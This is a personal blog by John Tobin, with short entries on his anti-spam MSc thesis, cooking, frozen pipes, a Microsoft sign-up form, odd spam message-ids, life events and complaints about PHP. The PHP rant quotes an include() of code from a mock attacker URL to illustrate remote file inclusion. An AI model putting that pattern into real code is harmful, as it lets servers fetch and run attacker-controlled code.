John Tobin

Today, I'm taking a break from my thesis, by which I mean I've only spent three hours working on it rather than eight ;) My brain is pretty fried anyway, and I need it to be in top form to work on my conclusion - I always find the fluffier parts much harder to write than the hardcore techie parts. I plan to have my conclusion written by Wednesday, so I can give it and my evaluation chapter to my supervisor. The deadline for submission is April 30th; I hope that two weeks will be enough time to proofread and make corrections twice, plus make changes based on my supervisor and other people's comments. I will be very glad to be finished my thesis; I know that my examiners will have comments, and I'll probably have to make corrections, but submitting it is the biggest single milestone along the path to getting my MSc. After I submit my thesis, I need to find two external examiners, and might have to go through a viva; neither are standard for an MSc, but the examination process is more stringent for me because I'm a member of staff.

Today, metalrabbit baked cinnamon raisin bagels and white soda bread, and both are yummy. Last night we had pan-fried fillet of plaice and homemade wedges, also yummy, and tonight we'll be having smoked salmon and pea frittata. Who needs to go to a restaurant?

Today's xkcd made me laugh out loud.

After 4 hours work last night, and another 4 hours this morning, I have restored our water supply, which has been frozen for at least two days. Ireland is not used to days where the temperature doesn't exceed 0 degrees, and it's -6 at 18:00. Although the house we're living in is well insulated, the plumbers obviously weren't expecting such low temperatures when they connected the cold water supply from the well to the house. This afternoon I'll be buying insulation to cover all the exposed pipes, so hopefully we won't have any problems tonight. Leaving a tap running gently should also help, as the water won't be resting in the pipes. I must also check that the house we're building still has water - its cold water supply seems to have dealt better with the cold weather, so I'm hopeful.

It's interesting is how lack of water affects everything: showers, cooking, washing hands, toilets, and (most importantly) making tea. Even when you know that you don't have any water, you still automatically try to wash your hands etc.

One of my users has a Microsoft Word document with links to lots of images. His problem is that the links are absolute, not relative, so when he puts the document and the images on CD the images are not displayed when someone on another computer looks at the document. So, off I go to the Microsoft Office website to look for help, and that's where it all goes wrong.

My first couple of searches turn up Publisher-related pages, and sadly their search engine is so poor that adding "word" to the search just returns a bunch of generic Word documentation. So I click on the option to select the products I own, and it tells me that to save those I have to log into a Microsoft Passport account. Obviously saving them using a cookie wouldn't work, unlike every other website in the world. Argh!

Off I go to register, and because I don't want a Hotmail address I opt to use my work address. There's a box to enter an email address, and underneath it says:

The address can contain only letters, numbers, periods (.), hyphens (-), or underscores (_).

That leaves out lots of characters that are relatively rarely used, plus more common ones like . More importantly it excludes @, which is pretty important in an email address.

Microsoft, how do you get things so badly wrong?

Edited to add: there's also a security question, used when resetting your password (even though I have a separate email address they can mail to), and the answer must be a minimum of 5 characters. My first pet's name was shorter than 5 characters; similarly best childhood friend and mother's birthplace are shorter than 5 characters, and the others could be for other people.

Dr. Horrible, by Joss Whedon, looks interesting. Wonder how well it will do?

I submitted a paper (my first) at the start of June to the SGAI International Conference on Artificial Intelligence AI-2008 and they've accepted it :) I'll be off to Cambridge in December to present it - a bit intimidating for my first paper, so I'll be practicing on metalrabbit ;)

The death of Adrian Wolfson is a sad story.

When I arrived at the train station on Monday there were a large number of old people waiting for the train, at least 50 of them, predominately women. I wondered about it a little, though being half-asleep I didn't wonder too much. Later on the train one of the old ladies was chatting to a stranger and explained where they were off to: pensioners from around the country were heading off to Killarney to play poker for a week - a nice diversion for the new year. The conversation then turned to the relative merits of poker, bridge and 25 (and other games which would also be played over the week, though the main focus was to be poker), so I lost interest.

I did wonder this morning whether I'd see any of them this evening on the way home, but there was no sign of them. Perhaps they're not coming back until Sunday?

I arrived home tonight and metalrabbit had cooked a lovely meal: roast chicken, baked potatoes, and tomato stuffed peppers. It was so good, particularly after a tough day in work. Yum :)

This is somewhat scary: Scratch card withdrawn because people don't understand negative numbers.

I passed my driving test today, on the first attempt! Oh, the relief, and happiness, and joyfulness :)

This deserves chocolates ;)

Yesterday my attention was drawn to Spinning Dancer, which the page claims is an optical illusion: you should be able to see it spinning either clockwise or anti-clockwise. Despite my best efforts I could only see it spinning anti-clockwise (assuming you're looking from above), so I decided to take a closer look at the image. I reckoned that the shadows were a bit of a giveaway, so I pulled the animated gif apart with gifsicle and obtained 34 images. The images look weird because that's how animated gifs work; the initial image contains the full image, subsequent images contain only the changes. Starting at spinning.015.gif you can see the shadow of the out-stretched leg, and if you follow the sequence through to spinning.027.gif you'll see that the model rotates anti-clockwise, not clockwise. I find two things interesting about this: firstly that they tried to create an optical illusion by colouring the model black, but failed because the software they used created realistic shadows. Secondly, and more interestingly (I think), is that they created a mental illusion: people were told that they should be able to see it spinning both ways, and so they did. Whether or not the original creators intended this to happen, it illustrates the power of suggestion quite well.

I'm working on my masters today, as usual. While trying to figure out why one of my regexs wasn't matching as expected I came across some interesting message-ids:

• A spammer who didn't follow instructions, or was their program broken?
  message-id=<%RND_DIGIT[10].%STATWORD@mail%SINGSTAT.%RND_FROM_DOMAIN>
• Why is globo.com adding tucows.com message-ids?
  message-id=<45BA63320008E5FC@mail06.sc2.he.tucows.com> (added by postmaster@globo.com)
• I wonder where the HELO info was added?
  message-id=<848511243547.G96470@flatland.vjopu.com (HELO chignon.gb-media.com [96.168.158.213])>

It looks like message-ids should be treated as an opaque identifier, with no attempt to infer any real meaning or extract information from them.

I'm very, very happy to announce that when I asked Ariane Brophy for her hand in marriage she said yes and made me the luckiest man ever :)

metalrabbit is away tonight, and I miss her. Can't wait to see her tomorrow evening :)

Since Christmas life has been busy, busy, busy. There's work, which is endlessly busy - the TODO list just keeps growing, like a hydra: remove one item, another two take its place. Happily though I am getting things done, so there's a nice sense of achievement. Commuting has settled into a nice rhythm, it's a bit tiring but I don't find it a problem otherwise (except for getting to the train station in the morning, I never leave in time), and it actually helps me by giving a structure to the day. I've started working from home on a Tuesday, which gives me a nice break.

I've started doing a part time research masters, researching anti-spam optimisation and new techniques; it's fun and interesting, but quite time consuming. I generally work on the train on the way home, plus six to eight hours at the weekend. I'm working on my first paper at the moment, and finding it pretty difficult going because it's the first time I've written anything academic in nearly five years (I didn't find writing easy back then either). Even if it doesn't get submitted anywhere, never mind published, it'll be a chunk of my thesis written.

metalrabbit and I went on a lovely weekend in Wexford for Valentine's and our 18 month anniversary - quiet, relaxed, a chill out weekend. Wonderful :) We've been enjoying Studio 60, playing WoW (many thanks to followthebird, who gave us two 16 slot bags each! I have 14 more slots now), and snuggling on the couch :)

Life is good.

There are 11 functions to sort an array in PHP, each one slightly different. Several of them are reverse-sorting variants - a single reverse() function would take care of that. You can sort by key, sort by value, sort by key/value and maintain the key/value relationship . . . ARGH!

Here's another random limitation I came across: empty(): Note: empty() only checks variables as anything else will result in a parse error. In other words, the following will not work: empty(trim($name)).

Why will empty(randomfunction($variable)) fail to work when randomfunction(otherrandomfunction(parameters)) works fine? Why is it even called empty() when it should be called is_empty() instead, like the 29 squillion other is_foo() functions are?

I want some of whatever those crack-addled monkeys were high on when they hacked together this excuse of a language.

Oh yeah, safe_mode is going away in PHP 6.0, so include("http://hawt.1337.com/haxor/your/box.luser") can't be disabled any more. Looks like my web server may soon be running Hardened PHP extensions.

Yesterday I bought lovely sea trout and mullet fillets, but due to circumstances beyond my control I didn't get to eat them; instead I ended up eating in Supermacs instead. Ugh. I felt violated. I also bought a foul cup of tea from a Nescafe tea/coffee machine; I guess Nescafe should stick to coffee, but at least they tried. However I did also have a very tasty Cadburys chocolate flapjack, mhhhhhh.

This morning I had the sea trout for breakfast, slowly pan-fried without any seasoning, and it was so tasty. Mmmmmhhhh. Later today I'll have the mullet for dinner, looking forward to it.

Sometimes google leads to scary things: Girls Aloud vs Sugababes - Walk This Way - compare with the original Run DMC Feat. Aerosmith - Walk This Way.

Last but possibly most disturbing: the effect BC has on some people. Hearing other guild members talk about seeing level 63 blood elf players makes me scared. Do they even eat, let alone sleep?

So, I'm playing Zelda: Twilight Princess. I'm at the start of the game, still in the starting village, and I can't get any further. I need to catch a fish, to lure a cat, to make any further progress in the game. Fishing, as far as I can tell from google, amounts to:
1 Swing the fishing rod into the water
2 Wait for the fish to move off the bottom of the screen, and you'll see the bobber bob up and down.
3 Wait for the game to say "Fish on!"
4 Reel the fish in (how?).

I've been fishing for at least two hours now, and I've seen "Fish on!" three times, but I didn't manage to reel the fish in - dunno why. I can't make any progress until I catch this fish, and there's nothing I can do to improve my chances, as far as I can find out.

This is not fun, this is not entertainment, this is mindless, frustrating, tedium. Fishing is ruining this game - there is no skill involved, no way to improve, you just sit and hope that the random number generator swings your way.